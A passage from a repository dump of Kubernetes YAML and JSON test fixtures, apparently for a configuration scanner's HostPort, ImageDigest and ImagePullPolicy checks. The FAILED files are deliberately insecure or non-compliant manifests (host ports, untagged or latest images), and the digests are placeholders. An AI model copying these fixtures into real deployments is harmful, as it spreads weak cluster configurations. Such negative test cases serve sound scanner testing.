quay.io/prometheus/node-exporter:v0.18.1 imagePullPolicy: IfNotPresent livenessProbe: failureThreshold: 3 httpGet: path: / port: 9100 scheme: HTTP periodSeconds: 10 successThreshold: 1 timeoutSeconds: 1 name: node-exporter ports: - containerPort: 9100 hostPort: 9100 name: metrics protocol: TCP readinessProbe: failureThreshold: 3 httpGet: path: / port: 9100 scheme: HTTP periodSeconds: 10 successThreshold: 1 timeoutSeconds: 1 volumeMounts: - mountPath: /host/proc name: proc readOnly: true - mountPath: /host/sys name: sys readOnly: true dnsPolicy: ClusterFirst hostNetwork: true hostPID: true restartPolicy: Always schedulerName: default-scheduler securityContext: runAsNonRoot: true runAsUser: 65534 serviceAccount: prometheus-node-exporter serviceAccountName: prometheus-node-exporter volumes: - hostPath: path: /proc type: "" name: proc - hostPath: path: /sys type: "" name: sys updateStrategy: rollingUpdate: maxUnavailable: 1 type: RollingUpdate ================================================ FILE: tests/kubernetes/checks/example_HostPort/nginx-app-FAILED.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: my-nginx labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 - containerPort: 443 hostPort: 443 name: https ================================================ FILE: tests/kubernetes/checks/example_HostPort/nginx-app-PASSED.yaml ================================================ apiVersion: v1 kind: Service metadata: name: my-nginx-svc labels: app: nginx spec: type: LoadBalancer ports: - port: 80 selector: app: nginx --- apiVersion: apps/v1 kind: Deployment metadata: name: my-nginx labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 --- apiVersion: apps/v1 kind: Deployment metadata: name: my-nginx2 labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: null ================================================ FILE: tests/kubernetes/checks/example_ImageDigest/imageWithTagAndDigest-PASSED.yaml ================================================ --- apiVersion: v1 kind: Service metadata: name: kafka-hs labels: app: kafka spec: ports: - port: 9093 name: server clusterIP: None selector: app: kafka --- apiVersion: policy/v1beta1 kind: PodDisruptionBudget metadata: name: kafka-pdb spec: selector: matchLabels: app: kafka maxUnavailable: 1 --- apiVersion: apps/v1beta1 kind: StatefulSet metadata: name: kafka spec: serviceName: kafka-hs replicas: 5 podManagementPolicy: Parallel updateStrategy: type: RollingUpdate template: metadata: labels: app: kafka spec: affinity: podAntiAffinity: requiredDuringSchedulingIgnoredDuringExecution: - labelSelector: matchExpressions: - key: "app" operator: In values: - kafka topologyKey: "kubernetes.io/hostname" podAffinity: preferredDuringSchedulingIgnoredDuringExecution: - weight: 1 podAffinityTerm: labelSelector: matchExpressions: - key: "app" operator: In values: - zk topologyKey: "kubernetes.io/hostname" terminationGracePeriodSeconds: 300 containers: - name: k8skafka imagePullPolicy: Always image: gcr.io/google_containers/kubernetes-kafka:1.0-10.2.1@sha256:123456 resources: requests: memory: "12Gi" cpu: 4 ports: - containerPort: 9093 name: server command: - sh - -c - "exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \ --override listeners=PLAINTEXT://:9093 \ --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \ --override log.dir=/var/lib/kafka \ --override auto.create.topics.enable=true \ --override auto.leader.rebalance.enable=true \ --override background.threads=10 \ --override compression.type=producer \ --override delete.topic.enable=false \ --override leader.imbalance.check.interval.seconds=300 \ --override leader.imbalance.per.broker.percentage=10 \ --override log.flush.interval.messages=9223372036854775807 \ --override log.flush.offset.checkpoint.interval.ms=60000 \ --override log.flush.scheduler.interval.ms=9223372036854775807 \ --override log.retention.bytes=-1 \ --override log.retention.hours=168 \ --override log.roll.hours=168 \ --override log.roll.jitter.hours=0 \ --override log.segment.bytes=1073741824 \ --override log.segment.delete.delay.ms=60000 \ --override message.max.bytes=1000012 \ --override min.insync.replicas=1 \ --override num.io.threads=8 \ --override num.network.threads=3 \ --override num.recovery.threads.per.data.dir=1 \ --override num.replica.fetchers=1 \ --override offset.metadata.max.bytes=4096 \ --override offsets.commit.required.acks=-1 \ --override offsets.commit.timeout.ms=5000 \ --override offsets.load.buffer.size=5242880 \ --override offsets.retention.check.interval.ms=600000 \ --override offsets.retention.minutes=1440 \ --override offsets.topic.compression.codec=0 \ --override offsets.topic.num.partitions=50 \ --override offsets.topic.replication.factor=3 \ --override offsets.topic.segment.bytes=104857600 \ --override queued.max.requests=500 \ --override quota.consumer.default=9223372036854775807 \ --override quota.producer.default=9223372036854775807 \ --override replica.fetch.min.bytes=1 \ --override replica.fetch.wait.max.ms=500 \ --override replica.high.watermark.checkpoint.interval.ms=5000 \ --override replica.lag.time.max.ms=10000 \ --override replica.socket.receive.buffer.bytes=65536 \ --override replica.socket.timeout.ms=30000 \ --override request.timeout.ms=30000 \ --override socket.receive.buffer.bytes=102400 \ --override socket.request.max.bytes=104857600 \ --override socket.send.buffer.bytes=102400 \ --override unclean.leader.election.enable=true \ --override zookeeper.session.timeout.ms=6000 \ --override zookeeper.set.acl=false \ --override broker.id.generation.enable=true \ --override connections.max.idle.ms=600000 \ --override controlled.shutdown.enable=true \ --override controlled.shutdown.max.retries=3 \ --override controlled.shutdown.retry.backoff.ms=5000 \ --override controller.socket.timeout.ms=30000 \ --override default.replication.factor=1 \ --override fetch.purgatory.purge.interval.requests=1000 \ --override group.max.session.timeout.ms=300000 \ --override group.min.session.timeout.ms=6000 \ --override inter.broker.protocol.version=0.10.2-IV0 \ --override log.cleaner.backoff.ms=15000 \ --override log.cleaner.dedupe.buffer.size=134217728 \ --override log.cleaner.delete.retention.ms=86400000 \ --override log.cleaner.enable=true \ --override log.cleaner.io.buffer.load.factor=0.9 \ --override log.cleaner.io.buffer.size=524288 \ --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \ --override log.cleaner.min.cleanable.ratio=0.5 \ --override log.cleaner.min.compaction.lag.ms=0 \ --override log.cleaner.threads=1 \ --override log.cleanup.policy=delete \ --override log.index.interval.bytes=4096 \ --override log.index.size.max.bytes=10485760 \ --override log.message.timestamp.difference.max.ms=9223372036854775807 \ --override log.message.timestamp.type=CreateTime \ --override log.preallocate=false \ --override log.retention.check.interval.ms=300000 \ --override max.connections.per.ip=2147483647 \ --override num.partitions=1 \ --override producer.purgatory.purge.interval.requests=1000 \ --override replica.fetch.backoff.ms=1000 \ --override replica.fetch.max.bytes=1048576 \ --override replica.fetch.response.max.bytes=10485760 \ --override reserved.broker.max.id=1000 " env: - name: KAFKA_HEAP_OPTS value : "-Xmx2G -Xms2G" - name: KAFKA_OPTS value: "-Dlogging.level=INFO" volumeMounts: - name: datadir mountPath: /var/lib/kafka readinessProbe: exec: command: - sh - -c - "/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093" securityContext: runAsUser: 1000 fsGroup: 1000 volumeClaimTemplates: - metadata: name: datadir spec: accessModes: [ "ReadWriteOnce" ] resources: requests: storage: 10Gi ================================================ FILE: tests/kubernetes/checks/example_ImageDigest/job-ImageTagLatest-FAILED.yaml ================================================ apiVersion: batch/v1 kind: Job metadata: name: countdown spec: template: metadata: name: countdown spec: containers: - name: counter image: centos:latest command: - "bin/bash" - "-c" - "for i in 9 8 7 6 5 4 3 2 1 ; do echo $i ; done" restartPolicy: Never ================================================ FILE: tests/kubernetes/checks/example_ImageDigest/kafka-PASSED.yaml ================================================ --- apiVersion: v1 kind: Service metadata: name: kafka-hs labels: app: kafka spec: ports: - port: 9093 name: server clusterIP: None selector: app: kafka --- apiVersion: policy/v1beta1 kind: PodDisruptionBudget metadata: name: kafka-pdb spec: selector: matchLabels: app: kafka maxUnavailable: 1 --- apiVersion: apps/v1beta1 kind: StatefulSet metadata: name: kafka spec: serviceName: kafka-hs replicas: 5 podManagementPolicy: Parallel updateStrategy: type: RollingUpdate template: metadata: labels: app: kafka spec: affinity: podAntiAffinity: requiredDuringSchedulingIgnoredDuringExecution: - labelSelector: matchExpressions: - key: "app" operator: In values: - kafka topologyKey: "kubernetes.io/hostname" podAffinity: preferredDuringSchedulingIgnoredDuringExecution: - weight: 1 podAffinityTerm: labelSelector: matchExpressions: - key: "app" operator: In values: - zk topologyKey: "kubernetes.io/hostname" terminationGracePeriodSeconds: 300 containers: - name: k8skafka imagePullPolicy: Always image: gcr.io/google_containers/kubernetes-kafka@sha256:123456 resources: requests: memory: "12Gi" cpu: 4 ports: - containerPort: 9093 name: server command: - sh - -c - "exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \ --override listeners=PLAINTEXT://:9093 \ --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \ --override log.dir=/var/lib/kafka \ --override auto.create.topics.enable=true \ --override auto.leader.rebalance.enable=true \ --override background.threads=10 \ --override compression.type=producer \ --override delete.topic.enable=false \ --override leader.imbalance.check.interval.seconds=300 \ --override leader.imbalance.per.broker.percentage=10 \ --override log.flush.interval.messages=9223372036854775807 \ --override log.flush.offset.checkpoint.interval.ms=60000 \ --override log.flush.scheduler.interval.ms=9223372036854775807 \ --override log.retention.bytes=-1 \ --override log.retention.hours=168 \ --override log.roll.hours=168 \ --override log.roll.jitter.hours=0 \ --override log.segment.bytes=1073741824 \ --override log.segment.delete.delay.ms=60000 \ --override message.max.bytes=1000012 \ --override min.insync.replicas=1 \ --override num.io.threads=8 \ --override num.network.threads=3 \ --override num.recovery.threads.per.data.dir=1 \ --override num.replica.fetchers=1 \ --override offset.metadata.max.bytes=4096 \ --override offsets.commit.required.acks=-1 \ --override offsets.commit.timeout.ms=5000 \ --override offsets.load.buffer.size=5242880 \ --override offsets.retention.check.interval.ms=600000 \ --override offsets.retention.minutes=1440 \ --override offsets.topic.compression.codec=0 \ --override offsets.topic.num.partitions=50 \ --override offsets.topic.replication.factor=3 \ --override offsets.topic.segment.bytes=104857600 \ --override queued.max.requests=500 \ --override quota.consumer.default=9223372036854775807 \ --override quota.producer.default=9223372036854775807 \ --override replica.fetch.min.bytes=1 \ --override replica.fetch.wait.max.ms=500 \ --override replica.high.watermark.checkpoint.interval.ms=5000 \ --override replica.lag.time.max.ms=10000 \ --override replica.socket.receive.buffer.bytes=65536 \ --override replica.socket.timeout.ms=30000 \ --override request.timeout.ms=30000 \ --override socket.receive.buffer.bytes=102400 \ --override socket.request.max.bytes=104857600 \ --override socket.send.buffer.bytes=102400 \ --override unclean.leader.election.enable=true \ --override zookeeper.session.timeout.ms=6000 \ --override zookeeper.set.acl=false \ --override broker.id.generation.enable=true \ --override connections.max.idle.ms=600000 \ --override controlled.shutdown.enable=true \ --override controlled.shutdown.max.retries=3 \ --override controlled.shutdown.retry.backoff.ms=5000 \ --override controller.socket.timeout.ms=30000 \ --override default.replication.factor=1 \ --override fetch.purgatory.purge.interval.requests=1000 \ --override group.max.session.timeout.ms=300000 \ --override group.min.session.timeout.ms=6000 \ --override inter.broker.protocol.version=0.10.2-IV0 \ --override log.cleaner.backoff.ms=15000 \ --override log.cleaner.dedupe.buffer.size=134217728 \ --override log.cleaner.delete.retention.ms=86400000 \ --override log.cleaner.enable=true \ --override log.cleaner.io.buffer.load.factor=0.9 \ --override log.cleaner.io.buffer.size=524288 \ --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \ --override log.cleaner.min.cleanable.ratio=0.5 \ --override log.cleaner.min.compaction.lag.ms=0 \ --override log.cleaner.threads=1 \ --override log.cleanup.policy=delete \ --override log.index.interval.bytes=4096 \ --override log.index.size.max.bytes=10485760 \ --override log.message.timestamp.difference.max.ms=9223372036854775807 \ --override log.message.timestamp.type=CreateTime \ --override log.preallocate=false \ --override log.retention.check.interval.ms=300000 \ --override max.connections.per.ip=2147483647 \ --override num.partitions=1 \ --override producer.purgatory.purge.interval.requests=1000 \ --override replica.fetch.backoff.ms=1000 \ --override replica.fetch.max.bytes=1048576 \ --override replica.fetch.response.max.bytes=10485760 \ --override reserved.broker.max.id=1000 " env: - name: KAFKA_HEAP_OPTS value : "-Xmx2G -Xms2G" - name: KAFKA_OPTS value: "-Dlogging.level=INFO" volumeMounts: - name: datadir mountPath: /var/lib/kafka readinessProbe: exec: command: - sh - -c - "/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093" securityContext: runAsUser: 1000 fsGroup: 1000 volumeClaimTemplates: - metadata: name: datadir spec: accessModes: [ "ReadWriteOnce" ] resources: requests: storage: 10Gi ================================================ FILE: tests/kubernetes/checks/example_ImageDigest/kafka-withrepo-PASSED.yaml ================================================ apiVersion: apps/v1beta1 kind: StatefulSet metadata: name: kafka spec: serviceName: kafka-hs replicas: 5 podManagementPolicy: Parallel updateStrategy: type: RollingUpdate template: metadata: labels: app: kafka spec: affinity: podAntiAffinity: requiredDuringSchedulingIgnoredDuringExecution: - labelSelector: matchExpressions: - key: "app" operator: In values: - kafka topologyKey: "kubernetes.io/hostname" podAffinity: preferredDuringSchedulingIgnoredDuringExecution: - weight: 1 podAffinityTerm: labelSelector: matchExpressions: - key: "app" operator: In values: - zk topologyKey: "kubernetes.io/hostname" terminationGracePeriodSeconds: 300 containers: - name: k8skafka imagePullPolicy: Always image: docker-registry.mycompany.co:4567/super-sre/kafka/kafka-docker/release@sha256:123456 resources: requests: memory: "12Gi" cpu: 4 ports: - containerPort: 9093 name: server command: - sh - -c - "exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \ --override listeners=PLAINTEXT://:9093 \ --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \ --override log.dir=/var/lib/kafka \ --override auto.create.topics.enable=true \ --override auto.leader.rebalance.enable=true \ --override background.threads=10 \ --override compression.type=producer \ --override delete.topic.enable=false \ --override leader.imbalance.check.interval.seconds=300 \ --override leader.imbalance.per.broker.percentage=10 \ --override log.flush.interval.messages=9223372036854775807 \ --override log.flush.offset.checkpoint.interval.ms=60000 \ --override log.flush.scheduler.interval.ms=9223372036854775807 \ --override log.retention.bytes=-1 \ --override log.retention.hours=168 \ --override log.roll.hours=168 \ --override log.roll.jitter.hours=0 \ --override log.segment.bytes=1073741824 \ --override log.segment.delete.delay.ms=60000 \ --override message.max.bytes=1000012 \ --override min.insync.replicas=1 \ --override num.io.threads=8 \ --override num.network.threads=3 \ --override num.recovery.threads.per.data.dir=1 \ --override num.replica.fetchers=1 \ --override offset.metadata.max.bytes=4096 \ --override offsets.commit.required.acks=-1 \ --override offsets.commit.timeout.ms=5000 \ --override offsets.load.buffer.size=5242880 \ --override offsets.retention.check.interval.ms=600000 \ --override offsets.retention.minutes=1440 \ --override offsets.topic.compression.codec=0 \ --override offsets.topic.num.partitions=50 \ --override offsets.topic.replication.factor=3 \ --override offsets.topic.segment.bytes=104857600 \ --override queued.max.requests=500 \ --override quota.consumer.default=9223372036854775807 \ --override quota.producer.default=9223372036854775807 \ --override replica.fetch.min.bytes=1 \ --override replica.fetch.wait.max.ms=500 \ --override replica.high.watermark.checkpoint.interval.ms=5000 \ --override replica.lag.time.max.ms=10000 \ --override replica.socket.receive.buffer.bytes=65536 \ --override replica.socket.timeout.ms=30000 \ --override request.timeout.ms=30000 \ --override socket.receive.buffer.bytes=102400 \ --override socket.request.max.bytes=104857600 \ --override socket.send.buffer.bytes=102400 \ --override unclean.leader.election.enable=true \ --override zookeeper.session.timeout.ms=6000 \ --override zookeeper.set.acl=false \ --override broker.id.generation.enable=true \ --override connections.max.idle.ms=600000 \ --override controlled.shutdown.enable=true \ --override controlled.shutdown.max.retries=3 \ --override controlled.shutdown.retry.backoff.ms=5000 \ --override controller.socket.timeout.ms=30000 \ --override default.replication.factor=1 \ --override fetch.purgatory.purge.interval.requests=1000 \ --override group.max.session.timeout.ms=300000 \ --override group.min.session.timeout.ms=6000 \ --override inter.broker.protocol.version=0.10.2-IV0 \ --override log.cleaner.backoff.ms=15000 \ --override log.cleaner.dedupe.buffer.size=134217728 \ --override log.cleaner.delete.retention.ms=86400000 \ --override log.cleaner.enable=true \ --override log.cleaner.io.buffer.load.factor=0.9 \ --override log.cleaner.io.buffer.size=524288 \ --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \ --override log.cleaner.min.cleanable.ratio=0.5 \ --override log.cleaner.min.compaction.lag.ms=0 \ --override log.cleaner.threads=1 \ --override log.cleanup.policy=delete \ --override log.index.interval.bytes=4096 \ --override log.index.size.max.bytes=10485760 \ --override log.message.timestamp.difference.max.ms=9223372036854775807 \ --override log.message.timestamp.type=CreateTime \ --override log.preallocate=false \ --override log.retention.check.interval.ms=300000 \ --override max.connections.per.ip=2147483647 \ --override num.partitions=1 \ --override producer.purgatory.purge.interval.requests=1000 \ --override replica.fetch.backoff.ms=1000 \ --override replica.fetch.max.bytes=1048576 \ --override replica.fetch.response.max.bytes=10485760 \ --override reserved.broker.max.id=1000 " env: - name: KAFKA_HEAP_OPTS value : "-Xmx2G -Xms2G" - name: KAFKA_OPTS value: "-Dlogging.level=INFO" volumeMounts: - name: datadir mountPath: /var/lib/kafka readinessProbe: exec: command: - sh - -c - "/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093" securityContext: runAsUser: 1000 fsGroup: 1000 volumeClaimTemplates: - metadata: name: datadir spec: accessModes: [ "ReadWriteOnce" ] resources: requests: storage: 10Gi ================================================ FILE: tests/kubernetes/checks/example_ImageDigest/storm-zookeeper-FAILED.json ================================================ { "kind": "Pod", "apiVersion": "v1", "metadata": { "name": "zookeeper", "labels": { "name": "zookeeper" } }, "spec": { "containers": [ { "name": "zookeeper", "image": "mattf/zookeeper", "ports": [ { "containerPort": 2181 } ], "resources": { "limits": { "cpu": "100m" } } } ] } } ================================================ FILE: tests/kubernetes/checks/example_ImagePullPolicy/cassandra-PullPolicyAlways-PASSED.yaml ================================================ # Source: https://kubernetes.io/docs/tutorials/stateful-application/cassandra/ # https://github.com/kubernetes/examples/tree/master/cassandra apiVersion: v1 kind: Service metadata: labels: app: cassandra name: cassandra spec: clusterIP: None ports: - port: 9042 selector: app: cassandra --- apiVersion: apps/v1 kind: StatefulSet metadata: name: cassandra labels: app: cassandra spec: serviceName: cassandra replicas: 3 selector: matchLabels: app: cassandra template: metadata: labels: app: cassandra spec: terminationGracePeriodSeconds: 1800 containers: - name: cassandra image: gcr.io/google-samples/cassandra:v13 imagePullPolicy: Always ports: - containerPort: 7000 name: intra-node - containerPort: 7001 name: tls-intra-node - containerPort: 7199 name: jmx - containerPort: 9042 name: cql resources: limits: cpu: "500m" memory: 1Gi requests: cpu: "500m" memory: 1Gi securityContext: capabilities: add: - IPC_LOCK lifecycle: preStop: exec: command: - /bin/sh - -c - nodetool drain env: - name: MAX_HEAP_SIZE value: 512M - name: HEAP_NEWSIZE value: 100M - name: CASSANDRA_SEEDS value: "cassandra-0.cassandra.default.svc.cluster.local" - name: CASSANDRA_CLUSTER_NAME value: "K8Demo" - name: CASSANDRA_DC value: "DC1-K8Demo" - name: CASSANDRA_RACK value: "Rack1-K8Demo" - name: POD_IP valueFrom: fieldRef: fieldPath: status.podIP readinessProbe: exec: command: - /bin/bash - -c - /ready-probe.sh initialDelaySeconds: 15 timeoutSeconds: 5 # These volume mounts are persistent. They are like inline claims, # but not exactly because the names need to match exactly one of # the stateful pod volumes. volumeMounts: - name: cassandra-data mountPath: /cassandra_data # These are converted to volume claims by the controller # and mounted at the paths mentioned above. # do not use these in production until ssd GCEPersistentDisk or other ssd pd volumeClaimTemplates: - metadata: name: cassandra-data spec: accessModes: [ "ReadWriteOnce" ] storageClassName: fast resources: requests: storage: 1Gi --- kind: StorageClass apiVersion: storage.k8s.io/v1 metadata: name: fast provisioner: k8s.io/minikube-hostpath parameters: type: pd-ssd ================================================ FILE: tests/kubernetes/checks/example_ImagePullPolicy/imageWithDigest-DefaultPullPolicy-PASSED.yaml ================================================ # Source: https://kubernetes.io/docs/tutorials/stateful-application/cassandra/ # https://github.com/kubernetes/examples/tree/master/cassandra apiVersion: v1 kind: Service metadata: labels: app: cassandra name: cassandra spec: clusterIP: None ports: - port: 9042 selector: app: cassandra --- apiVersion: apps/v1 kind: StatefulSet metadata: name: cassandra labels: app: cassandra spec: serviceName: cassandra replicas: 3 selector: matchLabels: app: cassandra template: metadata: labels: app: cassandra spec: terminationGracePeriodSeconds: 1800 containers: - name: cassandra image: gcr.io/google-samples/cassandra@sha256:12345678 ports: - containerPort: 7000 name: intra-node - containerPort: 7001 name: tls-intra-node - containerPort: 7199 name: jmx - containerPort: 9042 name: cql resources: limits: cpu: "500m" memory: 1Gi requests: cpu: "500m" memory: 1Gi securityContext: capabilities: add: - IPC_LOCK lifecycle: preStop: exec: command: - /bin/sh - -c - nodetool drain env: - name: MAX_HEAP_SIZE value: 512M - name: HEAP_NEWSIZE value: 100M - name: CASSANDRA_SEEDS value: "cassandra-0.cassandra.default.svc.cluster.local" - name: CASSANDRA_CLUSTER_NAME value: "K8Demo" - name: CASSANDRA_DC value: "DC1-K8Demo" - name: CASSANDRA_RACK value: "Rack1-K8Demo" - name: POD_IP valueFrom: fieldRef: fieldPath: status.podIP readinessProbe: exec: command: - /bin/bash - -c - /ready-probe.sh initialDelaySeconds: 15 timeoutSeconds: 5 # These volume mounts are persistent. They are like inline claims, # but not exactly because the names need to match exactly one of # the stateful pod volumes. volumeMounts: - name: cassandra-data mountPath: /cassandra_data # These are converted to volume claims by the controller # and mounted at the paths mentioned above. # do not use these in production until ssd GCEPersistentDisk or other ssd pd volumeClaimTemplates: - metadata: name: cassandra-data spec: accessModes: [ "ReadWriteOnce" ] storageClassName: fast resources: requests: storage: 1Gi --- kind: StorageClass apiVersion: storage.k8s.io/v1 metadata: name: fast provisioner: k8s.io/minikube-hostpath parameters: type: pd-ssd ================================================ FILE: tests/kubernetes/checks/example_ImagePullPolicy/imageWithDigest-PullPolicyAlways-PASSED.yaml ================================================ # Source: https://kubernetes.io/docs/tutorials/stateful-application/cassandra/ # https://github.com/kubernetes/examples/tree/master/cassandra apiVersion: v1 kind: Service metadata: labels: app: cassandra name: cassandra spec: clusterIP: None ports: - port: 9042 selector: app: cassandra --- apiVersion: apps/v1 kind: StatefulSet metadata: name: cassandra labels: app: cassandra spec: serviceName: cassandra replicas: 3 selector: matchLabels: app: cassandra template: metadata: labels: app: cassandra spec: terminationGracePeriodSeconds: 1800 containers: - name: cassandra image: gcr.io/google-samples/cassandra@sha256:123456 imagePullPolicy: Always ports: - containerPort: 7000 name: intra-node - containerPort: 7001 name: tls-intra-node - containerPort: 7199 name: jmx - containerPort: 9042 name: cql resources: limits: cpu: "500m" memory: 1Gi requests: cpu: "500m" memory: 1Gi securityContext: capabilities: add: - IPC_LOCK lifecycle: preStop: exec: command: - /bin/sh - -c - nodetool drain env: - name: MAX_HEAP_SIZE value: 512M - name: HEAP_NEWSIZE value: 100M - name: CASSANDRA_SEEDS value: "cassandra-0.cassandra.default.svc.cluster.local" - name: CASSANDRA_CLUSTER_NAME value: "K8Demo" - name: CASSANDRA_DC value: "DC1-K8Demo" - name: CASSANDRA_RACK value: "Rack1-K8Demo" - name: POD_IP valueFrom: fieldRef: fieldPath: status.podIP readinessProbe: exec: command: - /bin/bash - -c - /ready-probe.sh initialDelaySeconds: 15 timeoutSeconds: 5 # These volume mounts are persistent. They are like inline claims, # but not exactly because the names need to match exactly one of # the stateful pod volumes. volumeMounts: - name: cassandra-data mountPath: /cassandra_data # These are converted to volume claims by the controller # and mounted at the paths mentioned above. # do not use these in production until ssd GCEPersistentDisk or other ssd pd volumeClaimTemplates: - metadata: name: cassandra-data spec: accessModes: [ "ReadWriteOnce" ] storageClassName: fast resources: requests: storage: 1Gi --- kind: StorageClass apiVersion: storage.k8s.io/v1 metadata: name: fast provisioner: k8s.io/minikube-hostpath parameters: type: pd-ssd ================================================ FILE: tests/kubernetes/checks/example_ImagePullPolicy/job-ImageTagLatest-PASSED.yaml ================================================ apiVersion: batch/v1 kind: Job metadata: name: countdown spec: template: metadata: name: countdown spec: containers: - name: counter image: centos:latest command: - "bin/bash" - "-c" - "for i in 9 8 7 6 5 4 3 2 1 ; do echo $i ; done" restartPolicy: Never ================================================ FILE: tests/kubernetes/checks/example_ImagePullPolicy/kafka-PullPolicyAlways-PASSED.yaml ================================================ apiVersion: apps/v1beta1 kind: StatefulSet metadata: name: kafka spec: serviceName: kafka-hs replicas: 5 podManagementPolicy: Parallel updateStrategy: type: RollingUpdate template: metadata: labels: app: kafka spec: affinity: podAntiAffinity: requiredDuringSchedulingIgnoredDuringExecution: - labelSelector: matchExpressions: - key: "app" operator: In values: - kafka topologyKey: "kubernetes.io/hostname" podAffinity: preferredDuringSchedulingIgnoredDuringExecution: - weight: 1 podAffinityTerm: labelSelector: matchExpressions: - key: "app" operator: In values: - zk topologyKey: "kubernetes.io/hostname" terminationGracePeriodSeconds: 300 containers: - name: k8skafka imagePullPolicy: Always image: docker-registry.mycompany.co:4567/super-sre/kafka/kafka-docker/release:1.0.9 resources: requests: memory: "12Gi" cpu: 4 ports: - containerPort: 9093 name: server command: - sh - -c - "exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \ --override listeners=PLAINTEXT://:9093 \ --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \ --override log.dir=/var/lib/kafka \ --override auto.create.topics.enable=true \ --override auto.leader.rebalance.enable=true \ --override background.threads=10 \ --override compression.type=producer \ --override delete.topic.enable=false \ --override leader.imbalance.check.interval.seconds=300 \ --override leader.imbalance.per.broker.percentage=10 \ --override log.flush.interval.messages=9223372036854775807 \ --override log.flush.offset.checkpoint.interval.ms=60000 \ --override log.flush.scheduler.interval.ms=9223372036854775807 \ --override log.retention.bytes=-1 \ --override log.retention.hours=168 \ --override log.roll.hours=168 \ --override log.roll.jitter.hours=0 \ --override log.segment.bytes=1073741824 \ --override log.segment.delete.delay.ms=60000 \ --override message.max.bytes=1000012 \ --override min.insync.replicas=1 \ --override num.io.threads=8 \ --override num.network.threads=3 \ --override num.recovery.threads.per.data.dir=1 \ --override num.replica.fetchers=1 \ --override offset.metadata.max.bytes=4096 \ --override offsets.commit.required.acks=-1 \ --override offsets.commit.timeout.ms=5000 \ --override offsets.load.buffer.size=5242880 \ --override offsets.retention.check.interval.ms=600000 \ --override offsets.retention.minutes=1440 \ --override offsets.topic.compression.codec=0 \ --override offsets.topic.num.partitions=50 \ --override offsets.topic.replication.factor=3 \ --override offsets.topic.segment.bytes=104857600 \ --override queued.max.requests=500 \ --override quota.consumer.default=9223372036854775807 \ --override quota.producer.default=9223372036854775807 \ --override replica.fetch.min.bytes=1 \ --override replica.fetch.wait.max.ms=500 \ --override replica.high.watermark.checkpoint.interval.ms=5000 \ --override replica.lag.time.max.ms=10000 \ --override replica.socket.receive.buffer.bytes=65536 \ --override replica.socket.timeout.ms=30000 \ --override request.timeout.ms=30000 \ --override socket.receive.buffer.bytes=102400 \ --override socket.request.max.bytes=104857600 \ --override socket.send.buffer.bytes=102400 \ --override unclean.leader.election.enable=true \ --override zookeeper.session.timeout.ms=6000 \ --override zookeeper.set.acl=false \ --override broker.id.generation.enable=true \ --override connections.max.idle.ms=600000 \ --override controlled.shutdown.enable=true \ --override controlled.shutdown.max.retries=3 \ --override controlled.shutdown.retry.backoff.ms=5000 \ --override controller.socket.timeout.ms=30000 \ --override default.replication.factor=1 \ --override fetch.purgatory.purge.interval.requests=1000 \ --override group.max.session.timeout.ms=300000 \ --override group.min.session.timeout.ms=6000 \ --override inter.broker.protocol.version=0.10.2-IV0 \ --override log.cleaner.backoff.ms=15000 \ --override log.cleaner.dedupe.buffer.size=134217728 \ --override log.cleaner.delete.retention.ms=86400000 \ --override log.cleaner.enable=true \ --override log.cleaner.io.buffer.load.factor=0.9 \ --override log.cleaner.io.buffer.size=524288 \ --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \ --override log.cleaner.min.cleanable.ratio=0.5 \ --override log.cleaner.min.compaction.lag.ms=0 \ --override log.cleaner.threads=1 \ --override log.cleanup.policy=delete \ --override log.index.interval.bytes=4096 \ --override log.index.size.max.bytes=10485760 \ --override log.message.timestamp.difference.max.ms=9223372036854775807 \ --override log.message.timestamp.type=CreateTime \ --override log.preallocate=false \ --override log.retention.check.interval.ms=300000 \ --override max.connections.per.ip=2147483647 \ --override num.partitions=1 \ --override producer.purgatory.purge.interval.requests=1000 \ --override replica.fetch.backoff.ms=1000 \ --override replica.fetch.max.bytes=1048576 \ --override replica.fetch.response.max.bytes=10485760 \ --override reserved.broker.max.id=1000 " env: - name: KAFKA_HEAP_OPTS value : "-Xmx2G -Xms2G" - name: KAFKA_OPTS value: "-Dlogging.level=INFO" volumeMounts: - name: datadir mountPath: /var/lib/kafka readinessProbe: exec: command: - sh - -c - "/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093" securityContext: runAsUser: 1000 fsGroup: 1000 volumeClaimTemplates: - metadata: name: datadir spec: accessModes: [ "ReadWriteOnce" ] resources: requests: storage: 10Gi ================================================ FILE: tests/kubernetes/checks/example_ImagePullPolicy/replctrl-PullIfNotPresent-FAILED.yaml ================================================ apiVersion: v1 kind: ReplicationController metadata: name: myapp labels: app: myapp spec: replicas: 2 selector: app: myapp deployment: initial template: metadata: labels: app: myapp deployment: initial spec: containers: - name: myapp image: myregistry.com/myapp:5c3dda6b ports: - containerPort: 80 imagePullPolicy: IfNotPresent ================================================ FILE: tests/kubernetes/checks/example_ImagePullPolicy/storm-nimbus-ImageUntagged-PASSED.json ================================================ { "kind": "Pod", "apiVersion": "v1", "metadata": { "name": "nimbus", "labels": { "name": "nimbus" } }, "spec": { "containers": [ { "name": "nimbus", "image": 